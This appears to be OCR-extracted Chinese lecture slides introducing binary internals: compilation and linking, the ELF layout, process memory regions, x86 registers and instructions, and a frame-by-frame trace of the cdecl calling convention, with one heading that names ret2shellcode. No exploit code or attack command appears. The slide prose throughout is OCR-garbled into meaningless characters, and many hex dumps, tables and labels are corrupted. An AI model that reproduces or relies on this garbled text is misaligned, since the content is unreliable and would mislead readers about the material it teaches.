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MCIRACRB R T 3RV E R C Code (pl.c p2.c)
. compiler: gcc -S
« ImiF
- HGESRBERT RIS Assembly (pl.5 p2.5)
e S[4R assembler: gcc or as
«  ECRARBERT R Object (p1.0 p2.0) Static Library (.a)

. 20).
BB R inker: gec orld
Executable (p)

P— A AT
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CESE iLgm( RS H=shs

] ] ] sum: sum:
int sum(int x, int y) push ebp 0X55
{ A v 4 N
M e s gjﬁ—"'m:F mov ebp, esp IE%—‘% 0x89 Oxe5
’ > mov eax, [ebp+12] > 0x8b ©x45 ©x0c
FEILARD 2 add eax, [ebp+8] Ox03 Ox45 Ox08
¥ pop ebp ox5d
ret oxc3
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AP TR 2

« Windows: PE (Portable Executable)

ATHITIEE
/B Y A p) e .eXxe
H2L BRI T3E" . AT
. TN SRR EIEE S AT T BT SY - dll
Zolt. eve. shopy - wiies
e
. BN SUETREEUE S S RBRI Y | |
« out, .exe. dll. .so « Linux: ELF (Executable and Linkable Format)
. TR
e Out
o NISGEEE
e SO

.« FROIEEE
.« .2
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Hexadecimal dump ASCII dump

Fields Values Explanation
| | ] e_ident
EI_MRG 0x7F, "ELF" constant signature
N EI_CLRSS, EIDATA 1 )1 32 bits, Little-Endian
4 Always 1
e_type 2 Executable
e_machine I Intel 386 (and later)
7F 45 4C 46 01 01 00 00 00 00 06 88 .ELF............ e version 1o Aways 1
92 60 63 00 01 00 60 00 46 60 00 08 ........ Q... Address where execution starts
C6 80 08 60 00 00 60 08 34 08 016028 60 +....... 4.....(. ephoff exd Program Headers' offset
ot 99 e_shoff axce Section Headers' offset
e_ehsize 0x34 Elf header's size
Size of a single Program Header
e_phnum 1 Count of Program Headers
~$uname - ELF header e_shentsize 8x28 Size of a single Section Header
) P idenl;ffyy s iILtF tly;:e e_shnun 4 Count of Section Headers
1686 Lo i .- # Index of the names' section in the table
~$§./simple.elf Programﬁjﬂgﬁg{gr table 2 p_type 1 The segment should be loaded in memory
Hello World! @ 0Fset:a4B/Address: 813200048 o p_offset ) Offset where it should be read
12 01 60 06 66 66 00 00 00 60 00 66 68 ........ Virtual address where it should be loaded
\ Ao 00 60 68 05 00 00 00 66 00 0B 80 ................ p_padadr 018000600 Physical address where it should be loaded
ea er ’ p_filesz 0xA8 Size on file
Technical details for : g 52 i memayy
identification and execution p_flags 5 Readable and eXecutable
) p— x86 assembly Equivalent C code

=

ecx, 0x8000898

— e 3 no
. t. COde L— . , mov edx,
Executable information SRS/ e Sm i ; mov ebx, I
Slmple elf Sec IonS B9 96 66 086 08 BA BR 018008808 BE  ...nusismniecans v ROV eax,
]

on T v Al Al
Contents of the executable tD 80 BB 01 60 06 60 B8 61 60 60 68 ............ int 9x80 »wr;’te(STDOUT_FILENO, "Hello world!\n", Ten("Hello World!\n"));
SHA-1: 6725968708 7b749b13(d58b03445890ebcadc3d B Data CD 88 e~
sewion £ o101 ooskamnlom R Information used by the code mov ebx, 1
Bl e . mov eax, )
k ' int exse cexit(l);

Sections' names B oo eeeseemeeesamamesssem e o222 sesemser ettt eesssessssressirsre
2/2 ‘ 0f fset:0x98/Rddress: x 98 Strings

header

Technical details for linking

Section names

(ignored for execution) 3 74 72 74 61 62 00 ..shstrtab.
61 74 61 00 .rodata. " shrtrtab .rodata
. i Offset:0xC8

Section Header table 80 0 80 88 60 00 00 00 00 08 00 88 ................ Sadtionleadartabls

Linking (connecting program objects) information 60 60 06 00 00 00 60 60 00 00 00 00 60 60 66 68 ................
00 00 00 B0 00 00 00 0808 60 00 00 21 00 B0 00] ...eeurl....
96 00 60 00 60 08 69 08 22 00 99 08 . it Index Name Type Flags Address offset Size

g ] 0 <null>

*

@0 06 00 00 80 00 60 00 80 00 00 00 00 60 00 88| ................ T et T e OxB000060 T
E LF j{tl:é:l:*ﬁ\l \ 11 00 60 08 02 60 00 00 90 00 60 08 ................ > Fodaia g0 2000090 00
—|:| ! 99t 3" .shrtrtab 0x19

relative offsets
in nanes’ section

00 00 00 00 06 00 00 08 19 06 @8 @8; ........
00 00 00 06 00 06 00 06 06 00 06 06 06 00 06 06: ................
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ELF3Z {43k (ELF header)
105 7 ELF S R94B 4R 4544

FERFRLER/ER3k (Program header table)
SIRE RO CEHEHE
HRARERY A A TG U B th 45
BN HF—TEEE

B33k (Section header table)
IR TELFXFRIHXER
R8I Birs S B toasta
HEXMEIN A —EEE

ELF header

Program header table

text

.rodata

.data

Section header table

&,
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MAEPRVELF (ATH1TE) SHAEFEHRIELF (HREAFIRG)

Linking View Execution View
ELF Header ELF Header
Frogram Header Table Frogram Header Table

optional
Section 1
Segment 1
Sectionn
Segment 2
Section Header Table Section Header Table
optional

TRE ERUE
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RW

RX

SHOELF (EIHYTEE) SRS

$ ./elf

In Disk

other sections

.data

.bss

.got.plt

.rodata

dext

nit

ELF Header

$ objdump -s elf

In Memory

FHIELF (HEERFIRER)

—— 0xCO000000

Stack

l

shared libraries

T

0x40000000

Heap

Data

«——— 9x08049000

Code

0x08048000

0x00000000

$ cat /proc/pid/maps
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ELF3C{4 3 i #il b ik 25 8] A9 B 53

, . e OS5E AR5 Kernel Space
0SS ISS—————————————————

data / \ Undefined Region
segment —
fini_array
L Init_array . .
oh frame Memmory Mapping Region
Linker& 3 eh_frame_hdr
rodata heap VMA
fini
toxt DATA VMA
plt CODE VMA
section«— init
Reserved
note.gnu build-id
.note. ABl-tag
interp

ELF Header
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B hE DL =25 4 BN R SEE A e

1Byte = 8bits
R RFERNZTEEHEEZ—(0
SL6HHIZFRR

Ox3c = 0011 1100 REFARE mmap RFPRIEISIEZFE (NI NF PR —



" HIER | SRR ESE]

324 Y FE dE i) 3k 2= e 64 T2 B b Zs 4]

128T Kernel Space

1 Kernel Space B
Undefined Region

G Stack
Stack

Memmory Mapping Region

Memmory Mapping Region

ol ' %
3 — heap heap

128T

Data Segment Data Segment

Text Segment

Text Segment

Reserved Reserved
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128TB I Kernel Space

128TB

Undefined Region

Stack MAEFEX

Memmory Mapping Region

 §

heap AT HIX

Read/Write Segment
(.data, .bss)

Readonly Segment
(.init_array , .fini_array)

Read/Execute Segment . o
“ gmer o[ o1 T

(.init, .rodata, .text)

.bss
data

TS

Reserved
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EZ (segment) 575 (section)

- REBEZ (Text segment) @& THBES
« text T
« rodata T
e hash T
« dynsym T3
« dynstr
« pltT
« rel.got T

« data T
« dynamic 75
« .got T
« gotplt T
« bss T
HE2 (Stack segment)

==
Hizx

s

- MR E8E2ZE1TTD

=27 17

. BRERTHARMPERI i RES
. PMERTLLF GRS s

AT RIS LRI ER
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SRR IERFFERRY

Kernel

E=YEARD Stack: t. ptr

C\
int glb; l

char* str = “Hello world!”;

int sum(int x, int y)

; shared libraries
int t = x + y;
return t; vy —
} R IT ]
int main() =N Heap: “deadbeef”
{
sum(1, 2); Bss: glb
void* ptr = malloc(©x100);
read(@, ptr, 0x100); // input “deadbeef” Data: str
return 9; _
} Text: main. sum. “Hello world!”
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KIS/ N

32-Dit integer 32-bit integer
OAOBOCOD ‘ Mermory Memory 0AO0BOCOD
—» @ UID a: D:A (—J
— a+1:|0C a+1:|0B| =—
> at+2:|0B a+2:|0C | =
> at+3:|0A a+3:|0D| ==
Little-endian : ; Big-endian
N KithfF
o (RHIUCFEREHERAL. St « (RHIUFREUES AL, Sl
FHEIESL FHEHERAL

« FAIFrEZRXERIEI
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Address

Memory

Data

h 4

cpu
Register
Program
Counter Condition
Codes
HEHIHRITIIAE

A

Instruction

Code ——

\ 4

Data
Stack

PC—

sum:

push ebp
mov ebp, esp

mov eax, [ebp+12]
add eax, [ebp+8]

pop ebp
ret




S | FEFRRE SRR T

amd64E51Fes 45

« rax: 8Bytes
« eax: 4Bytes
« ax. ZBytes
« ah: 1Bytes
« al:  1IBytes

HR5D BT =R HYTIRE

R —
" s
P ——
Y Emme, phEsEEE

63 a1 15 87 0
Yrax Yeax fax [ #ah | a1 ||
Hrbx ebx bx bh bl

Yrex %ecx fex || % | %l |
trdx Yedx vax [ wan | war ||
firsi Yesi Y=i | [Wﬂ
frdi Yedi %di
irbp %ebp bp tbpl

%rap hesp hep | [TFLH
r8 red tirsu
%o %rad drou _
%rio Yr10d }‘.r1tn.-| | %riob ||
%rii ¥ritd %ritw
%r12 %r12d %ri2w -
%ri3 Yri3d .'-".r139| | %ri3b |I
%rid yriad %ridw
Aris ¥ri5d hri5w %ri5b |

Return value

Callea saved

Ath argument

3rd argument

2nd argument

151 argument

Callea saved

Stack pointer

5th argument

6th argument

Caller saved

Caller saved

Callea saved

Callea saved

Callea saved

Callea saved
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TSR PRI TR

$ ./binary
forvk() maﬂn()
execve("./binary"", *argv[], *envpl[]) _sEart user mode
sys_e;('ecve() Ioad_elfrbinary() kernel mode

\ 4

do_execve() search_binary handler()
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DS RV FRYITII R

$ ./binary _Iibc_st?rt_main() > _init
forvk() _sEart ma‘;n()
execve("./binary"", *argv[], *envpl[]) Id.‘so user mode
sys_e;ecve() Ioad_elfrbinary() kernel mode

\ 4

do_execve() search_binary handler()
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ik

* MOV

* LEA

+ ADD/SUB
+ PUSH

* POP

+ CMP

LRI <

* JMP
 J[Condition]
* CALL

* LEAVE

* RET
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MOV
MOV DEST, SRC ; R ERUE XL B iR
« MOV EAX,1234H CHATEEER (EAX) = 1234H

- MOV EBX, EAX
« MOV EAX, [0040401H] ; [ ] =B NANE

« MOV EAX, [ESI]

LEA
LEA REG, SRC R ER N B SRS S NS R EE
« LEAEBX, ASC ; B ASC Bt hb 7t 2 EBX & 728+

- LEAEAX, 6[ESI] ;{8 ESI+6 Hon32f7 Hihitix 2y EAX
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PUSH

PUSH VALUE  IBBfMEE%, ERSPIEE-1F7K

« PUSH 1234H
« PUSH EAX

POP

POP DEST , BRI ESRHE BRIFAENE, RRISPIEsT+177K
- POP EAX
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LEAVE

- EREGRERS, RS SXREREIAYES
- FT

- MOV ESPE EBP

- POP EBP

RET

o FERFOREIRT, BHEIFERHITIREILZREEIIES
- FT
« POPRIP (IX&1ES IR NMFEER, FeEEMORIPEEFESEIXETE)
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[T I i el

intel

AT&T

mov eax, 8

movl $8, %eax

mov ebx, Offffh

movl $Oxffff, %ebx

int 80h

int $80

mov eax, [ecxX]

movl (%ecx), %eax

sum:
push ebp
mov ebp, esp
mov eax, [ebp+12]
add eax, [ebp+8]
pop ebp
retn

sum:
pushl %ebp
movl %esp,%ebp
movl 12(%ebp),%eax
addl 8(%ebp),%eax
popl %ebp
ret
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» ret2shellcode
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FREVE R RIEREFIE T ARFE— CooTTTTTTTTThTTTTTTy o rTTmmmmmm T
EOZEZERY X 1, : High address High address

. ﬁﬁ%ﬁt@@ H=THTRPIRSER., !
BRSNS EETES :

. FRZNH 4‘3% R RELE AT, :
EIFRRREL (caller) RORSHURFE :

"R, BEHRZL (callee) ARK E Stack top l

Caller’s
Function state

Caller’s

Function state Call

SHENE AT A4
o FEREOERSRAT, HKINAYRE Low address
(callee) WRZSHBEL, HINKE
ZERRREL (caller) AR
o ERFERRERFET N SHLEIE
WA, PR TRRS N A9 R F e
HHEEHAT /)N, IBRREYEE R

Return Function state

Stack top ‘ ‘

Low address

I
I
|
I
I
|
I
I
|
I
|
I
I
I
Callee’s |
|
|
I
|
I
I
|
i
I
|
I
I
|

__________________________________________
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%»ebp

%esp

previous stack frame pointer

arguments

return address

stack frame pointer

callee saved registers

local variables

BTk

W‘_

Stack

!

shared libraries

Heap
Data
Text

_unused [

OXFFFFFFFF
0xC0000000

0x40000000

0x08048000

0x00000000
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o REURSEE DR =1"FfFss —— esp, ebp, eip,

esp FRIFERECE ROt TbiL, T EEFERERT
RETZW, ebp FARFEMEZEBIRENNGSHIVER L, £
HTHIAE, AJLRRRS IMERASHE ST E
IOV E. eip ARFHERPERITRORZFIESRIMBLE, cpu
KR eip FUFERBIZEBEE<STHINT, eip BEZIETE
DBHT—FES, NMtRE, EFRELEERITIES

o THILERNBREBERERZFRN, HRINREURSLANR

PIAFFSENTNW., THZMES 28R B
(caller) BUINSIRIFISK, BRI RIEZEHRERREL
(callee) AR

+ BESTREIAREE (callee) HISEHUZIRPFFHORIEN

N, WNSREEBRZEL (callee) ANEEZSE, NigEX—
LR, XEESHNSIREEERBREL (caller) BIRENR
S, ZERENEREIEESSIEABRRE (callee)
HOREIRSKIRE,

High address

Return Address
Caller's Caller's ebp |[+— ebp

Caller’s
function aran
state J

arg2

arg1 <+— esp

Stack top |

Low address

AR E RIS EUE AL A
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High address

Return Address
Caller's Caller's ebp |=— ebp
Caller’s
ok s PSS function
- ARRIERAREL (caller) BTEARZBH N —FRIESH stato argn
HHEZOIREBIMBIEENE A, SFEMREZL (caller) Y
eip (18%) EEBLURE
arg2
arg1
Calle'e’s Return Address <-— esp
function

state Stack top

Low address

Ro#50/E FR R SRR (B R A T
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- BEHEINebp HERE (L2 RREROEMDND)
JEANERA, FH5 ebp FHiFes Eﬁ@%fﬁﬁéﬁuwﬁmﬂﬁiﬁ
CHEAHEREL (caller) AY ebp (Eibil) EEELUREF.
GIHY, ebp WEFFABIFHREL (callee) E’\J%ﬂﬂﬂto

High address

Return Address
Caller’s Caller’s ebp

Caller’s
function o
state 9

arg2

arg1
CaIIe'e = Return Address
function 4 ebp
state Caller’s ebp — esp

Stack top

Low address

BEERBREAVELE (ebp) [EAKH, F
EHEIIEIHER ebp FFaEX
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High address

Return Address
Caller's Caller’s ebp
Caller’s
function aran
state 9
. BrESSHEREN (clee) NBHMERLSHIREN g2
K. -
Return Address
Callee’s Caller’s ebp <«— ebp
function
state Local Variables
<«— esp

Stack top

Low address

BRI BEEREEEA RN




timbiEM | GESREUERK

High address

Return Address
o EERANIREFR, esp FFREEAVEARREYN (XRINFA% Caller’s Caller’s ebp
MNARFEESMUIEEIEER) . EAKANEIEEEE Caller's
%%ﬁ\@@mm\ﬁ%@ﬁ%%mm,U&E%QE, function
HeE RS UAYMYEGER R 7 HEFREL (callee) state argn
RS, EREERR, ERESBEIERBREL (callee) .
OIS HINETZE] eip 77(_ 2=, XHEFERFE LAORIA arg2
THEARBRERIIES
arg1
- B THRHEBASNER, BTEIRRREERS E?Eis Return Address
RATHIEE M, BRI OES EEZFHIBREEL (callee) ctato Caller's ebp «— ebp
APIRES, FREHRIIRE DERRZL (caller) AUIRZS, < esp
Stack top ‘ l
- BSEEARINES I TESMNENEEEL, KIls
SIEOERREL (callee) HUELMEHE, Low addreas

AR RS B R S5 RS
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o REBEMUAFERVERHRZEL (caller) BYEIMBHEMIE
N8, FEFE ebp —;Z‘ =AW, XHEREFEREL (caller)
SIENE]

B9 ebp (L)
ok,

BURE, IhtEns

High address
Return Address
Caller’s Caller’'s ebp |«— ebp
Caller’s
function aran
state r9
arg2
arg1
Callee’s Return Address «— esp
function
state Stack top
Low address
FEAREL (caller) AOEMBUE (ebp)

B HIRSN, FFE ebp FH1FES

A
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High address
Return Address
Caller's Caller'sebp [«— ebp

Caller’s
o BR[O E, FFE | eip FrasN, XiF function
EFRRZEL (caller) AY eip (38S) BEELUIKE, state argn
. EWEREEL (caller) B w: HEWMRET, 25 arg?
MR TERREEES
arg1 <-— esp
Stack top

Low address

RE#0/E FRRR SRR [B] 3 P58 %
9b, FFE eip FiFEA
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&AM T{ERTV (cdecl)

int callee(int a, int b, int c) {
return a + b + c;

int caller(void) {

int ret;
ret = callee(1, 2, 3);

ret += 4;
return ret;

« Xx86

o ([FRRKIEIESE
o {FH eax FHUR[OE
« amdo4
o BUONSEMOREFRT rdic rsic rdx. rex, r8.
r9__l' l:||:|I:I:I
o F/NLERSEEMT T

12: 55
13: 89
15: 83
18: 6a
la: 6a
1c: 6a
le: e8
23: 83
26: 89
29: 83
2d: 8b
30: c9
31: c3
0: 55
1: 89
3: 8b
6: 8b
9: 01
b: 8b
e: 01
10: 5d
11: c3

00000012 <caller>:

e5

ec 10

03

02

01

fc ff ff
c4 Oc

45 fc

45 fc 04
45 fc

00000000 <callee>:

e5
55 08
45 Oc
c2
45 10
de

£f

push
mov
mov
mov
add
mov
add
pop
ret

push  %ebp

mov %esp,%ebp
sub $0x10, %esp
push  $0x3
push  $0x2
push  $0x1

call 1f <caller+0xd>
add $0xc,%esp

mov %eax, -0x4(%ebp)
addl  $0x4, -0x4(%ebp)
mov -0x4 (%ebp) , %eax
leave

ret

%ebp

%esp,%ebp
ox8(%ebp) ,%edx
oxc (%ebp) ,%eax
%»eax, xkedx
0x10(%ebp) , %eax
%redx, %eax

%ebp
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&AM T{ES TV (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
%eip ——>13: 89 e5 mov %»esp,%eb . ,
P 15: 83 ec 10 sub $0x50,%ezp g %ebp in caller's caller

18: 6a 03 push  $0x3 g

la: 6a 02 push  $0x2

1c: 6a 01 push  $0x1

le: e8 fc ff ff ff call 1f <caller+0xd>

23: 83 c4 0oc add $0xc,%esp

26: 89 45 fc mov %eax, -0x4(%ebp)

29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)

2d: 8b 45 fc mov -0x4 (%ebp) ,%eax

30: c9 leave

31: c3 ret

00000000 <callee>:

0: 55 push  %ebp

1: 89 e5 mov %esp, %ebp

3: 8b 55 08 mov ox8(%ebp) , %edx

6: 8b 45 oc mov Oxc (%ebp),%eax

9: 01 c2 add %»eax, »edx

b: 8b 45 10 mov 0x10(%ebp) , %eax

e: 01 do add %edx, %eax
10: 5d pop %ebp
11: c3 ret



temiEhl | CESREVERK
&AM T{ES TV (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
13: 89 e5 mov %esp,%ebp . .
%eip — > 15: 83 ec 10 sub $0x10, %esp %eb %ebp in caller's caller

18: 6a 03 push  $0x3 s, iy g
la: 6a 02 push  $0x2
1c: 6a 01 push  $0x1
le: e8 fc ff ff ff call 1f <caller+0xd>
23: 83 c4 oc add $0xc,%esp
26: 89 45 fc mov %eax, -0x4(%ebp)
29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)
2d: 8b 45 fc mov -0x4 (%ebp) ,%eax

30: c9 leave

31: c3 ret

00000000 <callee>:

0: 55 push  %ebp

1: 89 e5 mov %esp, %ebp

3: 8b 55 08 mov ox8(%ebp) , %edx

6: 8b 45 oc mov Oxc (%ebp),%eax

9: 01 c2 add %»eax, »edx

b: 8b 45 10 mov 0x10(%ebp) , %eax

e: 01 do add %edx, %eax
10: 5d pop %ebp
11: c3 ret



adEM | GESREUAR%
YERTL (cdecl)

RRZSE FtRhY

00000012 <caller>:

12: 55

13: 89 e5

15: 83 ec 10
%eip —>18: 6a 03

la: 6a 02

1c: 6a 01

le: e8 fc ff ff
23: 83 c4 oc
26: 89 45 fc
29: 83 45 fc 04
2d: 8b 45 fc

30: c9
31: c3
00000000 <callee>:

0: 55

1: 89 e5

3: 8b 55 08
6: 8b 45 oOc
9: 01 c2

b: 8b 45 10
e: 01 do
10: 5d
11: c3

£f

push
mov
mov
mov
add
mov
add
pop
ret

push  %ebp

mov %esp,%ebp

sub $0x10, %esp

push  $0x3

push $0x2

push $ox1

call 1f <caller+0xd>
add $0xc,%esp

mov %eax, -0x4(%ebp)
addl  $0x4,-0x4(%ebp)
mov -0x4 (%ebp) ,%eax
leave

ret

%ebp

%ebp

%esp, %ebp
ox8(%ebp) , %edx
Oxc (%ebp) ,%eax
%»eax, »edx
0x10(%ebp) , %eax
%edx, %eax

%ebp

Stack

%ebp in caller's caller

int ret

unused dword

unused dword

unused dword
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YERTL (cdecl)

RRZSE FtRhY

00000012 <caller>:

12: 55

13: 89 e5
15: 83 ec 10
18: 6a 03
la: 6a 02
1c: 6a 01

%eip — le: e8 fc ff ff
23: 83 c4 oc
26: 89 45 fc
29: 83 45 fc 04
2d: 8b 45 fc
30: c9
31: c3

00000000 <callee>:
0: 55

89 e5

8b 55 08

8b 45 oOc

01 c2

8b 45 10

01 do

5d

c3

=
PR ®Mm®mOTCWOVWO WK

=

pus
mov
sub
pus
pus
pus
ff cal
add
mov
add
mov
lea
ret

push
mov
mov
mov
add
mov
add
pop
ret

h  %ebp
%esp,%ebp

$0x10, %esp

h $ox3

h $ex2

%ebp

h  $ox1

1 1f <caller+0xd>
$0xc,%esp
%eax, -0x4(%ebp)

1 $0x4,-0x4(%ebp)
-0x4 (%ebp) ,%eax

ve

%ebp

%esp, %ebp

ox8(%ebp) , %edx %esp
Oxc (%ebp) ,%eax

%»eax, »edx

0x10(%ebp) , %eax

%edx, %eax

%ebp

Stack

%ebp in caller's caller

int ret

unused dword

unused dword

unused dword

3

2




temiEhl | CESREVERK
&AM T{ES TV (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
13: 89 e5 mov %esp,%ebp . ,
15: 83 ec 10 sub $0x10, %esp o %ebp in caller's caller
18: 6a 03 push  $0x3 sebp g .
la: 6a 02 push  $0x2 INt ret
1c: 6a 01 push  $0x1
le: o8 fc £f ff ff unused dword
23: 83 c4 0oc add $0xc,%esp
26: 89 45 fc mov %eax, -0x4(%ebp) unused dword
29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)
2d: 8b 45 fc mov -0x4 (%ebp) ,%eax unused dword
30: c9 leave
31: c3 ret 3
00000000 <callee>: 2
%eip —> ©: 55 push  %ebp
1: 89 e5 mov %esp,%ebp 1
3: 8b 55 08 mov ox8(%ebp) , %edx
6: 8b 45 @c mov oxc (%ebp) , %eax return address (C&”EE)
9: 01 c2 add %»eax, sedx %esp >
b: 8b 45 10 mov 0x10(%ebp) , %eax
e: 01 do add %edx, %eax
10: 5d pop %ebp
11: c3 ret



R HER | GESSEERK
FREUREREITIFAIN (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
13: 89 e5 mov %esp,%ebp . ,
15: 83 ec 10 sub $0x10, %esp %ebp in caller's caller
18: 6a 03 push  $0x3 .
la: 6a 02 push  $0x2 INt ret
1c: 6a 01 push  $0x1
le: e8 fc ff ff ff call 1f <callee> unused dword
23: 83 c4 0oc add $0xc,%esp
26: 89 45 fc mov %eax, -0x4(%ebp) unused dword
29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)
2d: 8b 45 fc mov -0x4 (%ebp) ,%eax unused dword
30: c9 leave
31: c3 ret 3
00000000 <callee>: 2
0: 55 push  Z%ebp
1: 89 e5 mov %esp,%ebp 1
%eip —> 3: 8b 55 08 mov ox8(%ebp) , %edx
6: 8b 45 @c mov oxc (%ebp) , %eax return address (C&”EE)
9: 01 c2 add %»eax, »edx
b: 8b 45 10 mov Ox10(%ebp) , %eax %ebp in caller
e: 01 do add %edx, %eax %espAll%ebp >
10: 5d pop %ebp
11: c3 ret



tEimbE | GES

——

J1%HY

e5

ec 10

03

02

01

fc ff ff
c4 Oc

45 fc

45 fc 04
45 fc

e5
55 08
45 Oc
c2
45 10
do

00000012 <caller>:
12: 55
13: 89
15: 83
18: 6a
la: 6a
1c: 6a
le: e8
23: 83
26: 89
29: 83
2d: 8b
30: c9
31: c3

00000000 <callee>:

0: 55

1: 89

3: 8b

6: 8b

9: 01

b: 8b

e: 01

%eip —10: 5d
11: c3

REE A%

TR (cdecl)

push  %ebp

mov %esp,%ebp
sub $0x10, %esp
push  $0x3
push  $0x2
push  $0x1

ff call 1f <callee>
add $0xc,%esp
mov %eax, -0x4(%ebp)
addl  $0x4,-0x4(%ebp)
mov -0x4 (%ebp) ,%eax
leave
ret

push  %ebp
mov %esp, %ebp

mov Ox8(%ebp) , %edx|EEEEEs S
mov oxc (%ebp) , %eax|Eadal

add %eax, %edx| 7

mov 0x10 (%ebp) , %eax/l

add %»edx, %eax

pop %ebp
ret

Stack

%ebp in caller's caller

int ret

unused dword

unused dword

unused dword

A v 3
) ’ ....... > 1
return address (callee)
keax = 1+ 2 + 3 %ebp in caller
%esp, %ebp >




R HER | GESSEERK
FREUREREITIFAIN (cdecl)

00000012 <caller>: Stack

12: 55 push  %ebp

13: 89 e5 mov %esp,%ebp . ,

15: 83 ec 10 sub $0x10, %esp %ebp in caller's caller

18: 6a 03 push  $0x3 sebp g .

la: 6a 02 push  $0x2 INt ret

1c: 6a 01 push  $0x1

le: e8 fc ff ff ff call 1f <callee> unused dword

23: 83 c4 0oc add $0xc,%esp

26: 89 45 fc mov %eax, -0x4(%ebp) unused dword

29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)

2d:  8b 45 fc mov -0x4(%ebp) , %eax unused dword

30: c9 leave

31: c3 ret 3
00000000 <callee>: 2

0: 55 push  %ebp

1: 89 e5 mov %esp,%ebp 1

3: 8b 55 08 mov ox8(%ebp) , %edx

6: 8b 45 @c mov oxc (%ebp) , %eax return address (C&”EE)

9: 01 c2 add %»eax, sedx %esp >

b: 8b 45 10 mov Ox10(%ebp) , %eax unused dword

e: 01 do add %edx, %eax

10: 5d pop %ebp

%eip —> 11: c3 ret



R HER | GESSEERK
FREUREREITIFAIN (cdecl)

00000012 <caller>: Stack

12: 55 push  %ebp

13: 89 e5 mov %esp,%ebp . ,

15: 83 ec 10 sub $ox10,%esp . %ebp in caller's caller

18: 6a 03 push  $0x3 %ebp g .

la: 6a 02 push  $0x2 INt ret

1c: 6a 01 push  $0x1

le: e8 fc ff ff ff call 1f <callee> unused dword

%eip —> 23: 83 c4 oc add $0xc,%esp

26: 89 45 fc mov %eax, -0x4(%ebp) unused dword

29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)

2d: 8b 45 fc mov -0x4 (%ebp) ,%eax unused dword

30: c9 leave

31: c3 ret 3
00000000 <callee>: 2

0: 55 push  %ebp

1: 89 e5 mov %esp,%ebp 1

3: 8b 55 08 mov ox8(%ebp) , %edx >

6: 8b 45 oc mov oxc (%ebp) ,%eax unused dword

9: 01 c2 add %»eax, »edx

b: 8b 45 10 mov Ox10(%ebp) , %eax unused dword

e: 01 do add %edx, %eax

10: 5d pop %ebp

11: c3 ret



HRHER | GESREAME
FREUREREITIFAIN (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
13: 89 e5 mov %esp,%ebp . ,
15: 83 ec 10 sub $ox10,%esp . %ebp in caller's caller
18: 6a 03 push  $0x3 %ebp g .
la: 6a 02 push  $0x2 Int ret
1c: 6a 01 push  $0x1
le: e8 fc ff ff ff call 1f <callee> unused dword
23: 83 c4 oc add $0xc,%esp

%eip ——> 26: 89 45 fc mov %eax, -0x4(%ebp) unused dword

29: 83 45 fc 04 addl  $0x4,-0x4(%ebp)
2d: 8b 45 fc mov -0x4 (%ebp) ,%eax . unused dword
30: c9 leave g
31: 3 ret unused dword

00000000 <callee>: unused dword
0: 55 push  %ebp
1: 89 e5 mov %esp,%ebp unused dword
3: 8b 55 08 mov ox8(%ebp) , %edx
6: 8b 45 oc mov oxc (%ebp) ,%eax unused dword
9: 01 c2 add %»eax, »edx
b: 8b 45 10 mov Ox10(%ebp) , %eax unused dword
e: 01 do add %edx, %eax
10: 5d pop %ebp
11: c3 ret



HRHER | GESREAME
FREUREREITIFAIN (cdecl)

00000012 <caller>: Stack
12: 55 push  %ebp
13: 89 e5 mov %esp,%ebp - .
15: 83 ec 10 sub $0x10, %esp %ebp R %ebp in caller's caller
R <= callee(: 2.3) + 4
1c: 6a 01 push  $0x1
le: e8 fc ff ff ff call 1f <callee> unused dword
23: 83 c4 oc add $0xc,%esp
26: 89 45 fc YD) %eax = callee(1, 2, 3) unused dword
29: 83 45 fc 04 addl  $0x4, -0x4(%ebp)
2d:  8b 45 fc o |  unused dword
%eip —>30:  c9 leave %esp >
31 3 ret unused dword
00000000 <callee>: unused dword
0: 55 push  %ebp
1: 89 e5 mov %esp,%ebp unused dword
3: 8b 55 08 mov ox8(%ebp) , %edx
6: 8b 45 oc mov oxc (%ebp) ,%eax unused dword
9: 01 c2 add %»eax, »edx
b: 8b 45 10 mov  0x10(%ebp),%eax unused dword
e: 01 do add %edx, %eax
10: 5d pop %ebp
11: c3 ret



M HER | CGESREVERE
TYERTL (cdecl)

%HY

00000012 <caller>:

12: 55
13: 89
15: 83
18: 6a
la: 6a
1c: 6a
le: e8
23: 83
26: 89
29: 83
2d: 8b
30: c9
%eip — 31.: c3

e5
ec
03
02
01
fc
c4
45
45
45

10

f+ ff
Qc
fc
fc 04
fc

00000 <callee>:

0:

Y

P O®M®MOC WO WEEKR

55
89
8b
8b
o1
8b
o1
5d
c3

e5
55
45
c2
45
do

08
oc

10

push  %ebp

mov %esp,%ebp
sub $0x10, %esp
push  $0x3
push $0x2
push $ox1

ff call 1f <callee>

add $0xc,%esp
mov %eax, -0x4(%ebp)
addl  $0x4,-0x4(%ebp)

mov -0x4 (%ebp) ,%eax
L[ o cbo, Se<p
ret pop  %ebp

push  %ebp

mov %esp, %ebp

mov ox8(%ebp) , %edx

mov Oxc (%ebp) ,%eax

add %»eax, »edx

mov 0x10(%ebp) , %eax

add %edx, %eax

pop %ebp

ret

Stack

%ebp in caller's caller

XT3, %ebp

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword

unused dword




tRimHEM | OESREUERE

&AM T{ES TV (cdecl)

00000012 <caller>:

12: 55

13: 89 e5
15: 83 ec 10
18: 6a 03
la: 6a 02
1c: 6a 01

le: e8 fc ff ff
23: 83 c4 oc
26: 89 45 fc
29: 83 45 fc 04
2d: 8b 45 fc
30: c9

%eip — 31.: c3

00000000 <callee>:
0: 55

89 e5

8b 55 08

8b 45 oOc

01 c2

8b 45 10

01 do

5d

c3

Y
R ®MmoC VWO WK

push  %ebp
mov %esp,%ebp
sub $0x10, %esp
push  $0x3
push  $0x2
push  $0x1
ff call 1f <callee>
add $0xc,%esp
mov %eax, -0x4(%ebp)
addl  $0x4,-0x4(%ebp)
mov -0x4 (%ebp) , %eax

%ebp, $es
—_, [mov ebp, p
ret '{pop %ebp

push  %ebp

mov %esp, %ebp

mov ox8(%ebp) , %edx
mov Oxc (%ebp) ,%eax
add %»eax, »edx

mov 0x10(%ebp) , %eax
add %edx, %eax

